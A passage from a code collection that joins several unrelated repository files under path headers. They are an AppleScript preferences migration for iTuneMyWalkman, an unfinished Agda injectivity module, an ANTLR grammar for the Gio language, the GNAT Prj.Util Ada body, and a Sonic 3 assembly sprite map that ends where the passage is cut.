{name:"fixedAudiobookFolder", contents:false} make new default entry at end of default entries with properties {name:"audiobookFolder", contents:""} make new default entry at end of default entries with properties {name:"numberOfDirectoryLevels", contents:2} make new default entry at end of default entries with properties {name:"dontTouch", contents:{"ringtones", "videodj"}} make new default entry at end of default entries with properties {name:"incrementPlayCountOnSync", contents:0} make new default entry at end of default entries with properties {name:"incrementPlayCountOnCopy", contents:0} make new default entry at end of default entries with properties {name:"reencoder", contents:1} make new default entry at end of default entries with properties {name:"renameM4BToM4A", contents:false} make new default entry at end of default entries with properties {name:"processCameraImages", contents:1} make new default entry at end of default entries with properties {name:"moveImagesTo", contents:"~/Desktop/Pictures\\ from\\ Phone/"} make new default entry at end of default entries with properties {name:"cameraImagePath", contents:"/Volumes/*/DCIM"} make new default entry at end of default entries with properties {name:"cameraVideoPath", contents:"/Volumes/*/MSSEMC/Media\\ files/video/camera/"} make new default entry at end of default entries with properties {name:"fileTypes", contents:{".m4a", ".mp3"}} make new default entry at end of default entries with properties {name:"fileBitRateLimits", contents:{128, 128}} make new default entry at end of default entries with properties {name:"itmwVersion", contents:itmwversion} make new default entry at end of default entries with properties {name:"chosenPlaylists", contents:{}} make new default entry at end of default entries with properties {name:"whichPlaylists", contents:1} make new default entry at end of default entries with properties {name:"handleS60Thumbnails", contents:false} make new default entry at end of default entries with properties {name:"writeM3UPlaylists", contents:false} make new default entry at end of default entries with properties {name:"M3UEncoding", contents:1} make new default entry at end of default entries with properties {name:"M3UPathPrefix", contents:""} make new default entry at end of default entries with properties {name:"M3UPathSeparator", contents:"/"} make new default entry at end of default entries with properties {name:"debugging", contents:false} end tell end initprefs on checkforold() set lastversion to contents of default entry "itmwVersion" of user defaults considering numeric strings if lastversion as text < itmwversion then if scriptsinstalled() then tell button "installscripts" of window "main" to perform action if fainstalled() then tell button "installfa" of window "main" to perform action set contents of default entry "itmwVersion" of user defaults to itmwversion end if end considering set oldprefs to (path to preferences folder from user domain as string) & "iTuneMyWalkman.scpt" set wasfound to true try shellcmd("/bin/test -f " & quoted form of POSIX path of oldprefs) on error set wasfound to false end try if not wasfound then return set sure to display dialog (localized string "old version") buttons {localized string "Quit", localized string "Continue"} default button 2 with icon 2 if button returned of sure = (localized string "Quit") then tell me to close window "main" return end if set thecmd to {"/bin/rm -rf"} copy " " & quoted form of POSIX path of ((path to application support from local domain as string) & "iTuneMyWalkman:") to end of thecmd copy " " & quoted form of POSIX path of ((path to Folder Action scripts from local domain as string) & "iTMW - Detect Phone.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Synchronize.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Set Size Limit.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Preferences.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Increment Play Count.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Check for New Version.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "iTunes:Scripts:iTMW - Unmount Phone.scpt") to end of thecmd copy " " & quoted form of POSIX path of ((path to library folder from local domain as string) & "Receipts:iTuneMyWalkman.pkg") to end of thecmd shellcmd(thecmd) try tell application "System Events" to remove action from folder "Volumes" of startup disk using action name "iTMW - Detect Phone.scpt" end try try set prefs to load script file oldprefs set contents of default entry "musicPath" of user defaults to musicpath of prefs set contents of default entry "phoneDetected" of user defaults to phonedetected of prefs if startsync of prefs = 2 then set contents of default entry "askForConfirmation" to false set contents of default entry "synchronizationComplete" of user defaults to endsync of prefs set contents of default entry "sizeLimit" of user defaults to sizelimit of prefs set contents of default entry "directoryStructure" of user defaults to directorystructure of prefs set contents of default entry "numberOfDirectoryLevels" of user defaults to directorylevel of prefs set contents of default entry "dontTouch" of user defaults to excludelist of prefs set contents of default entry "incrementPlayCountOnCopy" of user defaults to incrementoncopy of prefs set contents of default entry "incrementPlayCountOnSync" of user defaults to incrementonsync of prefs set contents of default entry "reencoder" of user defaults to encodewith of prefs set contents of default entry "processCameraImages" of user defaults to movepics of prefs set contents of default entry "moveImagesTo" of user defaults to movepath of prefs set contents of default entry "cameraImagePath" of user defaults to imagepath of prefs set contents of default entry "cameraVideoPath" of user defaults to videopath of prefs end try shellcmd("rm -rf " & quoted form of POSIX path of (oldprefs)) tell button "installscripts" of window "main" to perform action tell button "installfa" of window "main" to perform action tell button "prefs" of window "main" to perform action end checkforold
src/Generics/Constructions/Injective.agda
flupe/generics
11
7169
<gh_stars>10-100 {-# OPTIONS --safe #-} module Generics.Constructions.Injective where open import Generics.Prelude hiding (lookup; pi; curry; icong) open import Generics.Telescope open import Generics.Desc open import Generics.All open import Generics.HasDesc open import Relation.Binary.PropositionalEquality.Properties PathOver : ∀ {i j} {A : Set i} (B : A → Set j) {x y : A} (p : x ≡ y) (u : B x) (v : B y) → Set j PathOver B refl u v = u ≡ v module _ {P I ℓ} {A : Indexed P I ℓ} (H : HasDesc {P} {I} {ℓ} A) {p} where open HasDesc H private variable V : ExTele P i i₁ i₂ : ⟦ I ⟧tel p v v₁ v₂ : ⟦ V ⟧tel p c ℓ′ : Level countArgs : ConDesc P V I → ℕ countArgs (var _) = zero countArgs (π _ _ C) = suc (countArgs C) countArgs (_ ⊗ B) = suc (countArgs B) -- | Compute level of projection levelProj : (C : ConDesc P V I) (m : Fin (countArgs C)) → Level levelProj (π {ℓ′} ai S C) zero = ℓ′ levelProj (π ai S C) (suc m) = levelProj C m levelProj (A ⊗ B) zero = levelIndArg A ℓ levelProj (A ⊗ B) (suc m) = levelProj B m -- TODO (for Lucas of tomorrow): -- ⟦ v₁ ≡ v₂ ⟧ -- private -- proj₂-id : ∀ {a} {A : Set a} {ℓB : A → Level} {B : ∀ x → Set (ℓB x)} -- {k : A} {x y : B k} -- → _≡ω_ {A = Σℓω A B} (k , x) (k , y) -- → x ≡ y -- proj₂-id refl = refl -- unconstrr : ∀ {k i} {x : ⟦ _ ⟧Con A′ (p , tt , i)} -- {y : ⟦ _ ⟧Con A′ (p , tt , i)} -- → constr (k , x) ≡ constr (k , y) -- → x ≡ y -- unconstrr p = proj₂-id (constr-injective p) -- unconstr : ∀ {i₁ i₂} (ieq : i₁ ≡ i₂) {k} -- {x₁ : ⟦ lookupCon D k ⟧Con A′ (p , tt , i₁)} -- {x₂ : ⟦ lookupCon D k ⟧Con A′ (p , tt , i₂)} -- → subst (A′ ∘ (p ,_)) ieq (constr (k , x₁)) ≡ constr (k , x₂) -- → subst (λ i → ⟦ lookupCon D k ⟧Con A′ (p , tt , i)) ieq x₁ ≡ x₂ -- unconstr refl p = proj₂-id (constr-injective p) ------------------------------- -- Types of injectivity proofs levelInjective : (C : ConDesc P V I) → Level → Level levelInjective (var x) c = levelOfTel I ⊔ ℓ ⊔ c levelInjective (π {ℓ′} ai S C) c = ℓ′ ⊔ levelInjective C c levelInjective (A ⊗ B) c = levelIndArg A ℓ ⊔ levelInjective B c mutual InjectiveCon : (C : ConDesc P V I) (m : Fin (countArgs C)) (mk₁ : ∀ {i₁} → ⟦ C ⟧Con A′ (p , v₁ , i₁) → A′ (p , i₁)) (mk₂ : ∀ {i₂} → ⟦ C ⟧Con A′ (p , v₂ , i₂) → A′ (p , i₂)) → Set (levelInjective C (levelProj C m)) InjectiveCon {V} {v₁} {v₂} (π {ℓ′} (n , ai) S C) (suc m) mk₁ mk₂ = {s₁ : < relevance ai > S (_ , v₁)} {s₂ : < relevance ai > S (_ , v₂)} → InjectiveCon C m (λ x → mk₁ (s₁ , x)) (λ x → mk₂ (s₂ , x)) InjectiveCon {V} {v₁} {v₂} (A ⊗ B) (suc m) mk₁ mk₂ = {f₁ : ⟦ A ⟧IndArg A′ (_ , v₁)} {f₂ : ⟦ A ⟧IndArg A′ (_ , v₂)} → InjectiveCon B m (λ x → mk₁ (f₁ , x)) (λ x → mk₂ (f₂ , x)) InjectiveCon (A ⊗ B) zero mk₁ mk₂ = {!!} InjectiveCon (π ai S C) zero mk₁ mk₂ = {!!} InjectiveConLift : ∀ {V V′ : ExTele P} (C : ConDesc P V′ I) {c} {v₁ v₂ : ⟦ V ⟧tel p} {v′₁ v′₂ : ⟦ V′ ⟧tel p} {X : ⟦ P , V ⟧xtel → Set c} (mk₁ : ∀ {i₁} → ⟦ C ⟧Con A′ (p , v′₁ , i₁) → A′ (p , i₁)) (mk₂ : ∀ {i₂} → ⟦ C ⟧Con A′ (p , v′₂ , i₂) → A′ (p , i₂)) (x₁ : X (p , v₁)) (x₂ : X (p , v₂)) (v≡v : v₁ ≡ v₂) → Set (levelInjective C c) InjectiveConLift (var f) {v′₁ = v′₁} {v′₂} {X} mk₁ mk₂ x₁ x₂ v≡v = (ieq : f (p , v′₁) ≡ f (p , v′₂)) (ceq : subst (A′ ∘ (p ,_)) ieq (mk₁ refl) ≡ mk₂ refl) → subst (X ∘ (p ,_)) v≡v x₁ ≡ x₂ InjectiveConLift (π (n , ai) S C) {X = X} mk₁ mk₂ x₁ x₂ v≡v = {s₁ : < relevance ai > S (p , _)} {s₂ : < relevance ai > S (p , _)} → InjectiveConLift C {X = X} (λ x → mk₁ (s₁ , x)) (λ x → mk₂ (s₂ , x)) x₁ x₂ v≡v InjectiveConLift (A ⊗ B) {v′₁ = v′₁} {v′₂} {X} mk₁ mk₂ x₁ x₂ v≡v = {f₁ : ⟦ A ⟧IndArg A′ (_ , v′₁)} {f₂ : ⟦ A ⟧IndArg A′ (_ , v′₂)} → InjectiveConLift B {X = X} (λ x → mk₁ (f₁ , x)) (λ x → mk₂ (f₂ , x)) x₁ x₂ v≡v -- first, we gather all arguments for left and right A′ values -- InjectiveCon C′ m mk (π (n , ai) S C) mk₁ mk₂ -- = {s₁ : < relevance ai > S _} -- {s₂ : < relevance ai > S _} -- → InjectiveCon C′ m mk C (λ x → mk₁ (s₁ , x)) λ x → mk₂ (s₂ , x) -- InjectiveCon C′ m mk (A ⊗ B) mk₁ mk₂ -- = {f₁ : ⟦ A ⟧IndArg A′ _} -- {f₂ : ⟦ A ⟧IndArg A′ _} -- → InjectiveCon C′ m mk B (λ x → mk₁ (f₁ , x)) λ x → mk₂ (f₂ , x) -- -- we now have all arguments to prouce two values of A′ -- -- for the same kth constructor -- -- it's time to find the type of the proof -- -- base case: projecting on first arg, no lifting necessary -- InjectiveCon {V} {v₁} {v₂} (π ai S C) zero mk (var f) mk₁ mk₂ -- = (ieq : f (p , v₁) ≡ f (p , v₂)) -- → subst (A′ ∘ (p ,_)) ieq (mk (mk₁ refl)) ≡ mk (mk₂ refl) -- → proj₁ (mk₁ refl) ≡ proj₁ (mk₂ refl) -- InjectiveCon {V} {v₁} {v₂} (A ⊗ B) zero mk (var f) mk₁ mk₂ -- = (ieq : f (p , v₁) ≡ f (p , v₂)) -- → subst (A′ ∘ (p ,_)) ieq (mk (mk₁ refl)) ≡ mk (mk₂ refl) -- → proj₁ (mk₁ refl) ≡ proj₁ (mk₂ refl) -- otherwise, we have to lift a few things -- InjectiveCon {V} {v₁} {v₂} (π ai S C) (suc m) mk (var f) mk₁ mk₂ -- = (ieq : f (p , v₁) ≡ f (p , v₂)) -- → subst (A′ ∘ (p ,_)) ieq (mk (mk₁ refl)) ≡ mk (mk₂ refl) -- → InjectiveConLift C m {!!} {!!} {!!} {!!} -- InjectiveCon {V} {v₁} {v₂} (A ⊗ B) (suc m) mk (var f) mk₁ mk₂ -- = (ieq : f (p , v₁) ≡ f (p , v₂)) -- → subst (A′ ∘ (p ,_)) ieq (mk (mk₁ refl)) ≡ mk (mk₂ refl) -- → {!!} -- Injective : ∀ k (let C = lookupCon D k) (m : Fin (countArgs C)) -- → Set (levelInjective C (levelProj C m)) -- Injective k m = InjectiveCon _ m (λ x → constr (k , x)) _ id id {- deriveInjective : ∀ k m → Injective k m deriveInjective k m = injCon (lookupCon D k) m (lookupCon D k) where injCon : (C′ : ConDesc P ε I) (m : Fin (countArgs C′)) {mk : ∀ {i} → ⟦ C′ ⟧Con A′ (p , tt , i) → A′ (p , i)} (C : ConDesc P V I) {mk₁ : ∀ {i₁} → ⟦ C ⟧Con A′ (p , v₁ , i₁) → ⟦ C′ ⟧Con A′ (p , tt , i₁)} {mk₂ : ∀ {i₂} → ⟦ C ⟧Con A′ (p , v₂ , i₂) → ⟦ C′ ⟧Con A′ (p , tt , i₂)} → InjectiveCon C′ m mk C mk₁ mk₂ -- we proceed until the end of the constructor injCon C′ m (π ai S C) = injCon C′ m C injCon C′ m (A ⊗ B) = injCon C′ m B -- at the end, base case when projecting on fist arg injCon (π ai S C) zero (var x) ieq xeq = {!!} injCon (A ⊗ B) zero (var x) ieq xeq = {!!} -- else, LIFT injCon (π ai S C′) (suc m) (var x) = {!!} injCon (C′ ⊗ C′₁) (suc m) (var x) = {!!} {- deriveInjective′ : ∀ k m (ieq : i₁ ≡ i₂) {x₁ : ⟦ _ ⟧Con A′ (p , tt , i₁)} {x₂ : ⟦ _ ⟧Con A′ (p , tt , i₂)} → subst (λ i → ⟦ _ ⟧Con A′ (p , tt , i)) ieq x₁ ≡ x₂ → {!!} deriveInjective′ = {!!} -} -}
output/production/Gio/SyntaxAnalysis.g4
RasmusSecher/Gio
0
7039
grammar SyntaxAnalysis; //PARSER PART prog: (func | eventHand)* EOF #program ; func: 'function' ftype id=ID '(' fparam ')' block 'endFunction' #function ; eventHand: 'when' id=ID '(' fparam ')' block 'endWhen' #when ; block: stmt* #blk ; stmt: 'if' '(' expression ')' 'do' block ('else if' '(' expression ')' 'do' block)* ('else do' block)? 'endIf' #if | 'repeat' '(' (digits=DIGITS | id=ID) ')' block 'endRepeat' #rep | 'repeatIf' '(' expression ')' block 'endRepeatIf' #rep_if | 'repeat' block 'until' '(' expression ')' #rep_until | func_Call '.' #func_stmt | type id=ID '=' (expression | incr_Stmt | decr_Stmt) '.' #var_decl | id=ID '=' (expression | incr_Stmt | decr_Stmt) '.' #assign | incr_Stmt '.' #incr | decr_Stmt '.' #decr | return_Stmt '.' #ret ; incr_Stmt: '++' id=ID #pre_incr | id=ID '++' #post_incr ; decr_Stmt: '--' id=ID #pre_decr | id=ID '--' #post_decr ; return_Stmt: 'return' expression #returnStmt ; expression: primary #prim | func_Call #func_expr | '!' expression #not | expression bop=('*'|'/'|'%') expression #mul_div_mod | expression bop=('+'|'-') expression #add_sub | expression bop=('<=' | '>=' | '<' | '>') expression #le_ge_lt_gt | expression bop=('==' | '!=') expression #equal_notequal | expression bop='&&' expression #logical_and | expression bop='||' expression #logical_or | <assoc=right> expression bop='?' expression ':' expression #ternary ; primary: '(' expression ')' #parens | digits=DIGITS #digits | id=ID #id | bool=BOOL #bool ; func_Call: id=ID '(' param ')' #funcCall ; fparam: (type id=ID (',' type id=ID)*)? #fparameters ; param: (expression (',' expression)*)? #parameters ; ftype: 'void' #void_ftype | type #type_ftype ; type: 'num' #num_type | 'bool' #bool_type ; //LEXICAL PART BOOL: 'true' | 'false'; ID: [a-zA-Z_][a-zA-Z_0-9]*; DIGITS: [0-9]*; MUL: '*'; DIV: '/'; ADD: '+'; SUB: '-'; MOD: '%'; GE: '>='; LE: '<='; GT: '>'; LT: '<'; EQUALS: '=='; NOTEQUALS: '!='; AND: '&&'; OR: '||'; QMARK: '?'; COLON: ':'; WS: [ \t\r\n] -> skip; LINE_COMMENT: '//' ~[\r\n]* -> skip;
llvm-gcc-4.2-2.9/gcc/ada/prj-util.adb
vidkidz/crossbridge
1
27575
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- P R J . U T I L -- -- -- -- B o d y -- -- -- -- Copyright (C) 2001-2006, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Unchecked_Deallocation; with GNAT.Case_Util; use GNAT.Case_Util; with Namet; use Namet; with Osint; use Osint; with Output; use Output; with Prj.Com; with Snames; use Snames; package body Prj.Util is procedure Free is new Ada.Unchecked_Deallocation (Text_File_Data, Text_File); ----------- -- Close -- ----------- procedure Close (File : in out Text_File) is begin if File = null then Prj.Com.Fail ("Close attempted on an invalid Text_File"); end if; -- Close file, no need to test status, since this is a file that we -- read, and the file was read successfully before we closed it. Close (File.FD); Free (File); end Close; ----------------- -- End_Of_File -- ----------------- function End_Of_File (File : Text_File) return Boolean is begin if File = null then Prj.Com.Fail ("End_Of_File attempted on an invalid Text_File"); end if; return File.End_Of_File_Reached; end End_Of_File; ------------------- -- Executable_Of -- ------------------- function Executable_Of (Project : Project_Id; In_Tree : Project_Tree_Ref; Main : Name_Id; Index : Int; Ada_Main : Boolean := True) return Name_Id is pragma Assert (Project /= No_Project); The_Packages : constant Package_Id := In_Tree.Projects.Table (Project).Decl.Packages; Builder_Package : constant Prj.Package_Id := Prj.Util.Value_Of (Name => Name_Builder, In_Packages => The_Packages, In_Tree => In_Tree); Executable : Variable_Value := Prj.Util.Value_Of (Name => Main, Index => Index, Attribute_Or_Array_Name => Name_Executable, In_Package => Builder_Package, In_Tree => In_Tree); Executable_Suffix : constant Variable_Value := Prj.Util.Value_Of (Name => Main, Index => 0, Attribute_Or_Array_Name => Name_Executable_Suffix, In_Package => Builder_Package, In_Tree => In_Tree); Body_Append : constant String := Get_Name_String (In_Tree.Projects.Table (Project). Naming.Ada_Body_Suffix); Spec_Append : constant String := Get_Name_String (In_Tree.Projects.Table (Project). Naming.Ada_Spec_Suffix); begin if Builder_Package /= No_Package then if Executable = Nil_Variable_Value and Ada_Main then Get_Name_String (Main); -- Try as index the name minus the implementation suffix or minus -- the specification suffix. declare Name : constant String (1 .. Name_Len) := Name_Buffer (1 .. Name_Len); Last : Positive := Name_Len; Naming : constant Naming_Data := In_Tree.Projects.Table (Project).Naming; Spec_Suffix : constant String := Get_Name_String (Naming.Ada_Spec_Suffix); Body_Suffix : constant String := Get_Name_String (Naming.Ada_Body_Suffix); Truncated : Boolean := False; begin if Last > Body_Suffix'Length and then Name (Last - Body_Suffix'Length + 1 .. Last) = Body_Suffix then Truncated := True; Last := Last - Body_Suffix'Length; end if; if not Truncated and then Last > Spec_Suffix'Length and then Name (Last - Spec_Suffix'Length + 1 .. Last) = Spec_Suffix then Truncated := True; Last := Last - Spec_Suffix'Length; end if; if Truncated then Name_Len := Last; Name_Buffer (1 .. Name_Len) := Name (1 .. Last); Executable := Prj.Util.Value_Of (Name => Name_Find, Index => 0, Attribute_Or_Array_Name => Name_Executable, In_Package => Builder_Package, In_Tree => In_Tree); end if; end; end if; -- If we have found an Executable attribute, return its value, -- possibly suffixed by the executable suffix. if Executable /= Nil_Variable_Value and then Executable.Value /= Empty_Name then declare Exec_Suffix : String_Access := Get_Executable_Suffix; Result : Name_Id := Executable.Value; begin if Exec_Suffix'Length /= 0 then Get_Name_String (Executable.Value); Canonical_Case_File_Name (Name_Buffer (1 .. Name_Len)); -- If the Executable does not end with the executable -- suffix, add it. if Name_Len <= Exec_Suffix'Length or else Name_Buffer (Name_Len - Exec_Suffix'Length + 1 .. Name_Len) /= Exec_Suffix.all then -- Get the original Executable to keep the correct -- case for systems where file names are case -- insensitive (Windows). Get_Name_String (Executable.Value); Name_Buffer (Name_Len + 1 .. Name_Len + Exec_Suffix'Length) := Exec_Suffix.all; Name_Len := Name_Len + Exec_Suffix'Length; Result := Name_Find; end if; Free (Exec_Suffix); end if; return Result; end; end if; end if; Get_Name_String (Main); -- If there is a body suffix or a spec suffix, remove this suffix, -- otherwise remove any suffix ('.' followed by other characters), if -- there is one. if Ada_Main and then Name_Len > Body_Append'Length and then Name_Buffer (Name_Len - Body_Append'Length + 1 .. Name_Len) = Body_Append then -- Found the body termination, remove it Name_Len := Name_Len - Body_Append'Length; elsif Ada_Main and then Name_Len > Spec_Append'Length and then Name_Buffer (Name_Len - Spec_Append'Length + 1 .. Name_Len) = Spec_Append then -- Found the spec termination, remove it Name_Len := Name_Len - Spec_Append'Length; else -- Remove any suffix, if there is one Get_Name_String (Strip_Suffix (Main)); end if; if Executable_Suffix /= Nil_Variable_Value and then not Executable_Suffix.Default then -- If attribute Executable_Suffix is specified, add this suffix declare Suffix : constant String := Get_Name_String (Executable_Suffix.Value); begin Name_Buffer (Name_Len + 1 .. Name_Len + Suffix'Length) := Suffix; Name_Len := Name_Len + Suffix'Length; return Name_Find; end; else -- Otherwise, add the standard suffix for the platform, if any return Executable_Name (Name_Find); end if; end Executable_Of; -------------- -- Get_Line -- -------------- procedure Get_Line (File : Text_File; Line : out String; Last : out Natural) is C : Character; procedure Advance; ------------- -- Advance -- ------------- procedure Advance is begin if File.Cursor = File.Buffer_Len then File.Buffer_Len := Read (FD => File.FD, A => File.Buffer'Address, N => File.Buffer'Length); if File.Buffer_Len = 0 then File.End_Of_File_Reached := True; return; else File.Cursor := 1; end if; else File.Cursor := File.Cursor + 1; end if; end Advance; -- Start of processing for Get_Line begin if File = null then Prj.Com.Fail ("Get_Line attempted on an invalid Text_File"); end if; Last := Line'First - 1; if not File.End_Of_File_Reached then loop C := File.Buffer (File.Cursor); exit when C = ASCII.CR or else C = ASCII.LF; Last := Last + 1; Line (Last) := C; Advance; if File.End_Of_File_Reached then return; end if; exit when Last = Line'Last; end loop; if C = ASCII.CR or else C = ASCII.LF then Advance; if File.End_Of_File_Reached then return; end if; end if; if C = ASCII.CR and then File.Buffer (File.Cursor) = ASCII.LF then Advance; end if; end if; end Get_Line; -------------- -- Is_Valid -- -------------- function Is_Valid (File : Text_File) return Boolean is begin return File /= null; end Is_Valid; ---------- -- Open -- ---------- procedure Open (File : out Text_File; Name : String) is FD : File_Descriptor; File_Name : String (1 .. Name'Length + 1); begin File_Name (1 .. Name'Length) := Name; File_Name (File_Name'Last) := ASCII.NUL; FD := Open_Read (Name => File_Name'Address, Fmode => GNAT.OS_Lib.Text); if FD = Invalid_FD then File := null; else File := new Text_File_Data; File.FD := FD; File.Buffer_Len := Read (FD => FD, A => File.Buffer'Address, N => File.Buffer'Length); if File.Buffer_Len = 0 then File.End_Of_File_Reached := True; else File.Cursor := 1; end if; end if; end Open; -------------- -- Value_Of -- -------------- function Value_Of (Variable : Variable_Value; Default : String) return String is begin if Variable.Kind /= Single or else Variable.Default or else Variable.Value = No_Name then return Default; else return Get_Name_String (Variable.Value); end if; end Value_Of; function Value_Of (Index : Name_Id; In_Array : Array_Element_Id; In_Tree : Project_Tree_Ref) return Name_Id is Current : Array_Element_Id := In_Array; Element : Array_Element; Real_Index : Name_Id := Index; begin if Current = No_Array_Element then return No_Name; end if; Element := In_Tree.Array_Elements.Table (Current); if not Element.Index_Case_Sensitive then Get_Name_String (Index); To_Lower (Name_Buffer (1 .. Name_Len)); Real_Index := Name_Find; end if; while Current /= No_Array_Element loop Element := In_Tree.Array_Elements.Table (Current); if Real_Index = Element.Index then exit when Element.Value.Kind /= Single; exit when Element.Value.Value = Empty_String; return Element.Value.Value; else Current := Element.Next; end if; end loop; return No_Name; end Value_Of; function Value_Of (Index : Name_Id; Src_Index : Int := 0; In_Array : Array_Element_Id; In_Tree : Project_Tree_Ref) return Variable_Value is Current : Array_Element_Id := In_Array; Element : Array_Element; Real_Index : Name_Id := Index; begin if Current = No_Array_Element then return Nil_Variable_Value; end if; Element := In_Tree.Array_Elements.Table (Current); if not Element.Index_Case_Sensitive then Get_Name_String (Index); To_Lower (Name_Buffer (1 .. Name_Len)); Real_Index := Name_Find; end if; while Current /= No_Array_Element loop Element := In_Tree.Array_Elements.Table (Current); if Real_Index = Element.Index and then Src_Index = Element.Src_Index then return Element.Value; else Current := Element.Next; end if; end loop; return Nil_Variable_Value; end Value_Of; function Value_Of (Name : Name_Id; Index : Int := 0; Attribute_Or_Array_Name : Name_Id; In_Package : Package_Id; In_Tree : Project_Tree_Ref) return Variable_Value is The_Array : Array_Element_Id; The_Attribute : Variable_Value := Nil_Variable_Value; begin if In_Package /= No_Package then -- First, look if there is an array element that fits The_Array := Value_Of (Name => Attribute_Or_Array_Name, In_Arrays => In_Tree.Packages.Table (In_Package).Decl.Arrays, In_Tree => In_Tree); The_Attribute := Value_Of (Index => Name, Src_Index => Index, In_Array => The_Array, In_Tree => In_Tree); -- If there is no array element, look for a variable if The_Attribute = Nil_Variable_Value then The_Attribute := Value_Of (Variable_Name => Attribute_Or_Array_Name, In_Variables => In_Tree.Packages.Table (In_Package).Decl.Attributes, In_Tree => In_Tree); end if; end if; return The_Attribute; end Value_Of; function Value_Of (Index : Name_Id; In_Array : Name_Id; In_Arrays : Array_Id; In_Tree : Project_Tree_Ref) return Name_Id is Current : Array_Id := In_Arrays; The_Array : Array_Data; begin while Current /= No_Array loop The_Array := In_Tree.Arrays.Table (Current); if The_Array.Name = In_Array then return Value_Of (Index, In_Array => The_Array.Value, In_Tree => In_Tree); else Current := The_Array.Next; end if; end loop; return No_Name; end Value_Of; function Value_Of (Name : Name_Id; In_Arrays : Array_Id; In_Tree : Project_Tree_Ref) return Array_Element_Id is Current : Array_Id := In_Arrays; The_Array : Array_Data; begin while Current /= No_Array loop The_Array := In_Tree.Arrays.Table (Current); if The_Array.Name = Name then return The_Array.Value; else Current := The_Array.Next; end if; end loop; return No_Array_Element; end Value_Of; function Value_Of (Name : Name_Id; In_Packages : Package_Id; In_Tree : Project_Tree_Ref) return Package_Id is Current : Package_Id := In_Packages; The_Package : Package_Element; begin while Current /= No_Package loop The_Package := In_Tree.Packages.Table (Current); exit when The_Package.Name /= No_Name and then The_Package.Name = Name; Current := The_Package.Next; end loop; return Current; end Value_Of; function Value_Of (Variable_Name : Name_Id; In_Variables : Variable_Id; In_Tree : Project_Tree_Ref) return Variable_Value is Current : Variable_Id := In_Variables; The_Variable : Variable; begin while Current /= No_Variable loop The_Variable := In_Tree.Variable_Elements.Table (Current); if Variable_Name = The_Variable.Name then return The_Variable.Value; else Current := The_Variable.Next; end if; end loop; return Nil_Variable_Value; end Value_Of; --------------- -- Write_Str -- --------------- procedure Write_Str (S : String; Max_Length : Positive; Separator : Character) is First : Positive := S'First; Last : Natural := S'Last; begin -- Nothing to do for empty strings if S'Length > 0 then -- Start on a new line if current line is already longer than -- Max_Length. if Positive (Column) >= Max_Length then Write_Eol; end if; -- If length of remainder is longer than Max_Length, we need to -- cut the remainder in several lines. while Positive (Column) + S'Last - First > Max_Length loop -- Try the maximum length possible Last := First + Max_Length - Positive (Column); -- Look for last Separator in the line while Last >= First and then S (Last) /= Separator loop Last := Last - 1; end loop; -- If we do not find a separator, we output the maximum length -- possible. if Last < First then Last := First + Max_Length - Positive (Column); end if; Write_Line (S (First .. Last)); -- Set the beginning of the new remainder First := Last + 1; end loop; -- What is left goes to the buffer, without EOL Write_Str (S (First .. S'Last)); end if; end Write_Str; end Prj.Util;
Working Disassembly/Levels/SSZ/Misc Object Data/Map - MTZ Orbs.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
169288
Map_186DAC: dc.w word_186DE6-Map_186DAC dc.w word_186DEE-Map_186DAC dc.w word_186DF6-Map_186DAC dc.w word_186DFE-Map_186DAC dc.w word_186E06-Map_186DAC dc.w word_186E0E-Map_186DAC dc.w word_186E16-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E32-Map_186DAC dc.w word_186E46-Map_186DAC dc.w word_186E46-Map_186DAC dc.w word_186E46-Map_186DAC dc.w word_186E46-Map_186DAC dc.w word_186E4E-Map_186DAC dc.w word_186E62-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC dc.w word_186E24-Map_186DAC word_186DE6: dc.w 1 dc.b $F4, $A, $20, 0, $FF, $F4 word_186DEE: dc.w 1 dc.b $F4, $A, $20, 9, $FF, $F4 word_186DF6: dc.w 1 dc.b $F4, 6, $20, $12, $FF, $F8 word_186DFE: dc.w 1 dc.b $F4, 2, $20, $18, $FF, $FC word_186E06: dc.w 1 dc.b $F8, 9, $20, $1B, $FF, $F4 word_186E0E: dc.w 1 dc.b $F8, 5, $20, $21, $FF, $F8 word_186E16: dc.w 2 dc.b $F8, 9, 0, $25, $FF, $F4 dc.b $F0, 8, $20, $4F, $FF, $F4 word_186E24: dc.w 2 dc.b $F4, $E, 0, $2B, $FF, $F0 dc.b $EC, 9, $20, $52, $FF, $F4 word_186E32: dc.w 3 dc.b $F0, $B, 0, $37, $FF, $E8 dc.b $F0, $B, 0, $43, 0, 0 dc.b $E0, $E, $20, $58, $FF, $F0 word_186E46: dc.w 1 dc.b $F8, 5, 0, $64, $FF, $F8 word_186E4E: dc.w 3 dc.b $F8, 5, 8, $64, $FF, $E8 dc.b $F8, 5, 0, 